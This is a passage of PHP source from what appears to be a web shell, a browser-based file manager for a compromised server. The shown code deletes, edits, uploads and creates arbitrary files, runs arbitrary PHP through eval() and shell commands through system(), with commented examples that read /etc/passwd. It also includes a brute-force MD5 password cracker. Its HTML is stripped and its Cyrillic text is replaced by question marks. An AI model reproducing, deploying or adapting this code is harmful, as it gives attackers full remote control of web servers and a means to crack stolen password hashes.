elseif (is_file($df.$file)) {
echo "$file ".mm("deleting")."...";
unlink($df.$file);
echo " ";
}
else {
echo "$file ".mm("skip").": ".filetype($df.$file)." ";
}
}
}
closedir($dir);
$ref="$self?c=l&d=".urlencode($d);
break;
case "dir":
echo "".mm("Deleting all dir/files (recursive) in")." $df ... ";
dir_delete($df);
$ref="$self?c=l&d=".urlencode(realpath($d."/.."));
break;
}
//header("Location: $ref");
echo "".mm("DONE, go back")." ";
break;
case "copy":
if (!$write_access) exitw();
if (!isset($from) || !@file_exists($from) || !@realpath($from))
exit("err# copy 1, file [$from] not found");
if (!isset($to) || strlen($to)==0)
exit("err# copy 2, file [$to] not found");
echo "Copy: ....
";
if (!copy($from,$to)) {
echo "Error! ";
echo "View ".dirname($from)."";
}
else
echo "".mm("DONE")."!
";
echo "View ".dirname($from)." (dir 'from')
";
echo "View ".dirname($to)." (dir 'to')
";
break;
case "e": // edit
if (!$write_access) exitw();
if (!@realpath($d.$f) || !file_exists($d.$f)) exit("".mm("file not found")."");
echo $GLOBALS['html'];
up($d,$f);
echo "<<<".mm("back to directory")." >>> ";
up_link($d,$f);
$msg="";
if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r+")) $msg=" (".mm("ONLY READ ACCESS (don't edit!)")." )";
else fclose($fi);
if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r")) $msg=" (".mm("Can't READ file - access denied (don't edit!)")." )";
else fclose($fi);
if ($msg=="") $msg="(".mm("full read/write access")." )";
echo "
".mm("EDIT FILE")." $msg
";
if (!$fi=@fopen($d.$f,"rb")) exit("".mm("can't open, access denied")."");
echo "
".
htmlspecialchars(fread($fi,filesize($d.$f)))."
<= confirm
";
break;
case "e_submit":
if (!$write_access) exitw();
if (!realpath($d.$f) || !file_exists($d.$f)) exit("file not found");
if (!isset($text)) exit("err# e_submit 1");
if (!isset($confirm)) exit("Confirm not found (go back and set checkbox)");
if (!$fi=@fopen($d.$f,"w+")) exit("access denied");
fwrite($fi,$text);
fclose($fi);
Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f));
echo " SAVE DONE (go back)! ";
break;
case "newfile_submit":
if (!$write_access) exitw();
if (!isset($text) || !isset($df)) exit("err# newfile_submit 1");
if (!isset($confirm)) exit("Confirm not found (go back and set checkbox)");
if (!$fi=@fopen($df,"w+")) exit("access denied, can't create/open [$df]");
fwrite($fi,$text);
fclose($fi);
Header("Location: $self?c=l&d=".urlencode(dirname($df)));
echo "SAVE NEW FILE DONE (go back)! ";
break;
case "fileupload_submit":
if (!$write_access) exitw();
if (!isset($df)) exit("err# newfile_submit 1");
if (!isset($df3)) exit("err# newfile_submit 2");
$fname="";
if (isset($df2)) {
if (!preg_match("~([^/]+)$~",$HTTP_POST_FILES['userfile']['name'],$ok)) {
exit("Upload failed: can't detect file name");
}
$fname=$ok[1];
}
else {
$fname=$df3;
}
if ($fname=="")
exit("".mm("You mast checked 'create file name automatic' OR typed file name!")."");
if (isset($df4)) $fname=strtolower($fname);
echo "Temp file: ".$HTTP_POST_FILES['userfile']['tmp_name']." ";
echo "Origin file name: ".$HTTP_POST_FILES['userfile']['name']." ";
echo "File size: ".$HTTP_POST_FILES['userfile']['size']." ";
if ($df[strlen($df)-1]!="/") $df.="/";
echo "".mm("SAVING TO").": $df $fname
";
ob();
$ok=copy($HTTP_POST_FILES['userfile']['tmp_name'],"$df$fname");
obb();
if (!$ok) exit("".mm("Sorry, access denied")." $obb");
if (!isset($ref)) $ref="$self?c=l&d=".urlencode($df);
Header("Location: $ref");
echo "NEW FILE SAVED ";
break;
case "newdir_submit":
if (!$write_access) exitw();
if (!isset($df)) exit("err# newdir_submit 1");
ob();
if (!mkdir($df,$mkdir_mode)) {
obb();
exit("Access denied $obb");
}
obb();
if (!isset($ref)) $ref="$self?c=l&d=".urlencode($df);
Header("Location: $ref");
echo "Go to new directory! ";
break;
case "t":
echo "
";
if (!$write_access) exitw();
error_reporting(2038);
if (!isset($php)) {
$php="/* line 1 */\n\n// ".mm("for example, uncomment next line").":\nphpinfo();\n\n//readfile(\"/etc/passwd\");\n\n/* line 8 */";
$skipphp=1;
$pre='checked';
$nlbr='';
$xmp='';
$htmls='checked';
}
echo "".mm("Eval PHP code")." (".mm("don't type")." \"<?\" ".mm("and")." \"?>\")
$php
add <pre>
add <xmp>
add htmlspecialchars()
add nl2br()
";
if (!isset($shell)) $skipshell=1;
if (!isset($skipphp)) {
echo "
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
if ($pre<>'') echo "";
if ($xmp<>'') echo "";
if ($nlbr<>'' || $htmls<>'') {
ob_start();
}
if ($phpeval_access) eval($php);
else die("Sorry, function eval() disabled.");
if ($nlbr<>'' || $htmls<>'') {
$tmp=ob_get_contents();
ob_end_clean();
if ($htmls<>'') $tmp=htmlspecialchars($tmp);
if ($nlbr<>'') $tmp=nl2br($tmp);
echo $tmp;
}
if ($xmp<>'') echo " ";
if ($pre<>'') echo " ";
echo "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
echo " ";
}
if (!isset($shell)) {
$shell="#".mm("example (remove comments '#')").": \n\n#cat /etc/passwd;\n\n#ps -ax\n\n#uname -a";
$skipshell=1;
}
echo "".mm("Shell commands")."
$shell
";
if (!isset($skipshell)) {
echo "
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
if ($system_access) system($shell);
else die("Sorry, function system() disabled.");
echo " \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
";
}
$ttype=array(1=>"MD5",7=>"Decode MD5 (password crack) ",
2=>"Base64",3=>"Base64 + chunk",4=>"Base64 + chunk + quotes",
5=>"Decode Base64 ",
6=>"UnixTime=>Date(".time().")",
8=>"MKtime: YYYY MM DD [hh [mm [ss]]] ",
9=>"Translit=>RusText", 14=>"RusText=>Translit ",
10=>"cp1251=>koi8r",11=>"koi8r=>cp1251",12=>"cp1251=>mac",13=>"mac=>cp1251",
15=>"koi8r=>mac",16=>"mac=>koi8r",
);
echo "".mm("Universal convert")." ";
echo "
";
foreach ($ttype as $k=>$v)
echo " $v ";
echo "
".htmlspecialchars($convert)."
";
$russtr1="JCUKENGZH_FYVAPROLDESMIT_Bjcukengzh_fyvaproldesmit_b";
$russtr2="????????????????????????????????????????????????????";
function from_translit($ss) {
global $russtr1,$russtr2;
$w=array("Sch",'?',"SCH",'?',"ScH",'?',"SCh",'?',"sch",'?',"Jo",'?',"JO",'?',"jo",'?',
"Zh",'?',"ZH",'?',"zh",'?',"Ch",'?',"CH",'?',"ch",'?',"Sh",'?',"SH",'?',"sh",'?',
"##",'?',"''",'?',"Eh",'?',"EH",'?',"eh",'?',"Ju",'?',"JU",'?',"ju",'?',"Yu",'?',
"YU",'?',"yu",'?',"YA","?","Ya","?","ya","?","Ja",'?',"JA",'?',"ja",'?');
$c=count($w);
for ($i=0; $i<$c; $i+=2) $ss=str_replace($w[$i],$w[$i+1],$ss);
$ss=strtr($ss,$russtr1,$russtr2);
$ss=preg_replace("!([?-?]+)~([?-?]+)!is","\\1\\2",$ss);
return $ss;
}
function to_translit($ss) {
global $russtr1,$russtr2;
$ss=strtr($ss,$russtr2,$russtr1);
$ss=str_replace(
array('?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', ),
array('SH','SCH','ZH','YA','CH','YU','YO','sh','sch','zh','ya','ch','yu','yo',),
$ss);
return $ss;
}
if (isset($convert)) {
if (!isset($name)) $name="0";
$out="";
switch ($name) {
case 1:
$out=md5($convert);
break;
case 2:
$out=base64_encode($convert);
break;
case 3:
$out=chunk_split(base64_encode($convert));
break;
case 4:
$out=base64_encode($convert);
$out=substr(preg_replace("!.{1,76}!","'\\0'.\n",$out),0,-2);
break;
case 5:
$out=base64_decode($convert);
break;
case 6:
$convert=intval($convert);
if ($convert==0) $convert=time();
$out="Unixtime=$convert\n---Day/Month/Year--\n".
date("d/m/Y H:i:s",$convert)."\n".
date("d-m-Y H:i:s",$convert)."\n".
date("d.m.Y H:i:s",$convert)."\n".
"---Month/Day/Year--\n".
date("m/d/Y H:i:s",$convert)."\n".
date("m-d-Y H:i:s",$convert)."\n".
date("m.d.Y H:i:s",$convert)."\n".
"---------SQL-------\n".
date("Y-m-d H:i:s",$convert)."\n".
date("Y m d H i s",$convert)."\n".
date("YmdHis",$convert);
break;
case 8:
$c=explode(" ",trim(preg_replace("! +!"," ",$convert)));
if (count($c)<3 || count($c)>6) $out="Bad value. Type: 2000 12 31 or 2000 12 31 12 59 59";
else {
if (empty($c[0])) $c[0]=1970;
if ($c[0]<50) $c[0]=2000+$c[0];
if ($c[0]>50 && $c[0]<100) $c[0]=1900+$c[0];
if (empty($c[1])) $c[1]=1;
if (empty($c[2])) $c[2]=1;
if (empty($c[3])) $c[3]=0;
if (empty($c[4])) $c[4]=0;
if (empty($c[5])) $c[5]=0;
$out="TIME: $c[0]-$c[1]-$c[2] $c[3]:$c[4]:$c[5]\nMKTIME: ".mktime($c[3],$c[4],$c[5],$c[1],$c[2],$c[0]);
}
break;
case 9:
$out=from_translit($convert);
break;
case 14:
$out=to_translit($convert);
break;
case 10: $out=convert_cyr_string($convert,'w','k'); break;
case 11: $out=convert_cyr_string($convert,'k','w'); break;
case 12: $out=convert_cyr_string($convert,'w','m'); break;
case 13: $out=convert_cyr_string($convert,'m','w'); break;
case 15: $out=convert_cyr_string($convert,'k','m'); break;
case 16: $out=convert_cyr_string($convert,'m','k'); break;
case 7:
echo "";
break;
case 0:
$out="Please select anythink function in list. Example: type 'test' and select 'md5'. Then click 'Submit'.";
break;
default:
$out='Sorry, this function not work (try new versions)';
}
echo "
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n$out \n\n\n\n\n\n\n\n\n ";
}
break;
case "md5crack":
echo "
";
if (!isset($go)) {
if (!isset($fullqty)) $fullqty="";
if (!isset($fulltime)) $fulltime="";
if (!isset($php)) $php="";
if (!isset($from)) $from="";
echo "STRING : (only 32 char: 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f)";
echo "
Range : ";
$chars=array(
'a-z'=>"abcdefghijklmnopqrstuvwxyz",
'a-z,A-Z'=>"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",
'a-z,0-9'=>"abcdefghijklmnopqrstuvwxyz0123456789",
'a-z,A-Z,0-9'=>"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789",
'a-z,A-Z,0-9,other'=>"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~`!@#\$%^&*()_+-=[]{};:,<.>/\"'\\");
$i=0;
foreach ($chars as $k=>$v) {
echo "
$k ";
$i++;
}
echo "
Start from :
";
}
else {
function mdgetword() {
global $php,$from,$word;
$word="";
for ($i=0; $i md5('')=$text (try empty string, 0 bytes!)");
}
$phplen=strlen($php);
mdgetword();
$poslen=strlen($word);
if ($pos<0 || $pos>=$poslen) $pos=0;
for ($i=0; $i<10; $i++) { echo "\r\n"; flush(); }
echo "Save this link - click for break and save current position ";
flush();
echo "
MD5_HASH=$text
CURRENT_WORD=$word
CURRENT_DIGIT=$pos:".implode(",",$from)."
RANGE=".htmlspecialchars($php)."
ProcessTime=$fulltime sec (".(floor($fulltime/60/60))."h)
Calculation(qty)={$fullqty}0000";
flush();
$fullsum=pow($phplen,$poslen);
$time1=time();
$i=0;
while (1) {
$i++;
if ($i>50000) {
$time=time()-$time1;
if ($time>20) break;
$i=0;
$sum=0;
for ($j=1; $j%02.2f%% ($word) %02dsec | \r\n",
$sum*100/$fullsum,$time);
flush();
$fullqty+=5;
}
if (md5($word)===$text)
exit("** DONE ** [$word]=[$text]
");
$from[$pos]++;
if ($from[$pos]==$phplen) {
$flag=1;
$from[$pos]=0;
$word[$pos]=$php[0];
for ($pos=$pos+1; $pos<$poslen; $pos++) {
if ($from[$pos]+1<$phplen) {
$from[$pos]++;
$word[$pos]=$php[$from[$pos]];
$flag=0;
$pos=0;
break;
}
else {
$from[$pos]=0;
$word[$pos]=$php[0];
}
}
if ($flag) {
$from[]=0;
$poslen=count($from);
$word.=$php[0];
$pos=0;
$fullsum=pow($phplen,$poslen);
}
}
$word[$pos]=$php[$from[$pos]];
}
$fulltime+=time()-$time1;
if ($i>5000) $fullqty++;
$url="$self?c=md5crack".
"&from=".urlencode("$pos:".implode(",",$from)).
"&text=".urlencode($text).
"&php=".urlencode($php).
"&fulltime=$fulltime&fullqty=$fullqty&go=1";
echo "click here ";
}
break;
case "phpinfo":
phpinfo();
break;
case "codes":
error_reporting(2039);
if (!isset($limit)) $limit=999;
if (!isset($fontsize)) $fontsize="300%";
echo "
";
echo "".mm("Character map (symbol codes table)")."
====[ ".mm("Select font")." ]====";
foreach (array('Arial','Courier','Comic Sans MS','Fixedsys','Small fonts','Symbol',
'System','Tahoma','Terminal','Times New Roman','Verdana',
'Webdings','Wingdings','Wingdings 2','Wingdings 3') as $v)
echo " $v";
echo "
".mm("or type other")."
.
".mm("Font size").": .
".mm("Code limit").":
0-255
0-999
0-9999
";
if (!isset($fontname)) break;
if (!empty($fontname2)) $fontname=$fontname2;
echo "
";
?>
";
break;
case "img":
unset($img);
$img=array(
'dir'=>
'R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA'.
'AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp'.
'/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=',
'fon'=>
'R0lGODlhQAYEALMAAAAAAP///6bK8A4obRs2eSlFhDZTkEVjnVRyqWKCtnCQwXyezIiq1pO24J3A'.
'6P///yH5BAEAAA8ALAAAAABABgQAAAT/cMhJq704E7n78EQXjmRpnmcRqizRsgUcz3Rt37QR63zR'.
'GzygcEgsGo8HYNKQbDKfh2Z0Sq1ar9goQsvdeg/eMGJMLpvPaHRivG4j3O14Yk6v2+/4u2K+7yf8'.
'Cn2Bg4SFhoeGC4GKjAqNC4yQkpOUlZaTDJCZmwubngygoaKjpKUNDKepqKipDa6vsLGysg4Ntbe2'.
'tg63u72+v8AOArvDxcLFAsnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx'.
'8vPSGfb3GCAfHBP6IvwgRKBIscJFwREvXMRYkVCGQhw1dPiYSJHiDx8SLwLBeKSjkyUg/5VAGRnl'.
'CUkmWVKCWfmF5UqXX8bAZJmmJpubbt6QWaNzTs+ccOTkwbPnj9GjfIwCKspUqSBEiRxJnbpI6qNG'.
'Vh1d2sopUydNYEF18tp1bClTq06JUqvK1aq0rGbNwvUKl11deIP9Mkasr7Fkwo4do0e4sOHDiBMr'.
'Xsy4sePHkCNLnkzZHL7LmC9s2LdZ34eAAkOjUGGCNAyEBhkqfDiDNcTXGS1O7IFx9sYhHDuKRCIy'.
'pBSSUqgAV7kFS/GXMcHIXK6cDEybOm+e4emzp/Wgdd7E0T50aNNAdADxeTroT3moVQspWrT+0dRI'.
'k7Ju/VrJK/2ynsyG+nr2LSlVrMCVlsIsA8pVCyx05bJLXrzoFQxff0WITGUUVmjhhRhmqOGGHHbo'.
'4YcgepPZiP3wA9A+nJ0o0GchsDjQiwaRFiNCL7R2Wo2vRZRDRbJpdJsQueWm2xImfdTbbkYKNwUU'.
'KjXp0pPMJScGTdBVeZ10V2J3XXdEJaWUHUWZ9yV4ZDqFHnrrZVWVe5VYNZ8l9pF1H3/87ddVf6Oo'.
'JSCAcMHSp1wGKujKXQsGo8uDvgwTWGCKKjMYYCFGKumklFZq6aWYZqrppstEAAA7',
'mode'=>
'R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA'.
'AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO'.
'2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/'.
'dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=',
'refresh'=>
'R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA'.
'AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY'.
'3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ'.
'R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=',
'search'=>
'R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//'.
'/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap'.
's5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD'.
'AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr'.
'Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==',
'setup'=>
'R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC'.
'QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA'.
'ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB'.
'qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE'.
'OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==',
'up'=>
'R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA'.
'AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg'.
'+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV'.
'IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==',
'sort_asc'=>
'R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa'.
'SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==',
'sort_desc'=>
'R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb'.
'SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=',
'exe'=>
'R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7'.
'WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt'.
'xhIAOw==',
'html'=>
'R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz'.
'c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P'.
'KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk'.
'Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR'.
'ADs=',
'txt'=>
'R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ'.
'SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7'.
'UpPWG3Ig6Hq/XmRjuZwkAAA7',
'unk'=>
'R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANE'.
'SLPcSzCqQKsVQ8JhexBBJnGVYFZACowleJZrRH7lFW8eDbMXaPO1juA2uXiGwBwFKRMeiTPlByrd'.
'yUzYbJao6npVkQQAOw==',
'php'=>
'R0lGODlhEwAQALMAAAAAAP///9fX3d3f7s/S5F1qpmJpjKOqyr7D27i80K+ywEtam4OIk+T/AO7u'.
'7v///yH5BAEAAA8ALAAAAAATABAAAAR08D0wK71VSna47yBHadxhnujRqKRJvC+SJIPKbgJR7DzP'.
'NECNgNFbGI/HhmZQWASezugzsFBKdtJsoEA1aLBTJzTMIDWpRqr6mFgyounswiAgDYjY/FwxGD1K'.
'BAMIg4MJCg41fiUpjAeKjY1+EwCUlZaVGhEAOw==',
'img'=>
'R0lGODlhEwAQALMAAAAAAP///6CgpHFzcVe2Osz/mbPmZkRmAPj4+Nra2szMzLKyspeXl4aGhlVV'.
'Vf///yH5BAEAAA8ALAAAAAATABAAAASA8KFJq00vozZ6Z4uSjGOTSV3DMFzTCGJ5boIQKsrqgoqp'.
'qbabYsFq+SSs1WLJFLgGx82OUWMuXVEPdGcLOmcehziVtEXFjoHiQGCnV99fR4EgFA6DBVQ3c3bq'.
'BIEBAXtRSwIsCwYGgwEJAywzOCGHOliRGjiam5M4RwlYoaJPGREAOw==',
'edit'=>
'R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA'.
'AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze'.
'EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61'.
'LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==',
'papki'=>
'R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo'.
'eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD'.
'Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==',
'home'=>
'R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA'.
'AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS'.
'krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j'.
'VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=',
'back'=>
'R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8'.
'aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt'.
'Wg0JADs='
);
header("Content-type: image/gif");
header("Cache-control: public");
// /*
header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
header("Cache-control: max-age=".(60*60*24*7));
header("Last-Modified: ".date("r",filemtime(__FILE__)));
// */
echo base64_decode($img[$name]);
break;
}
?>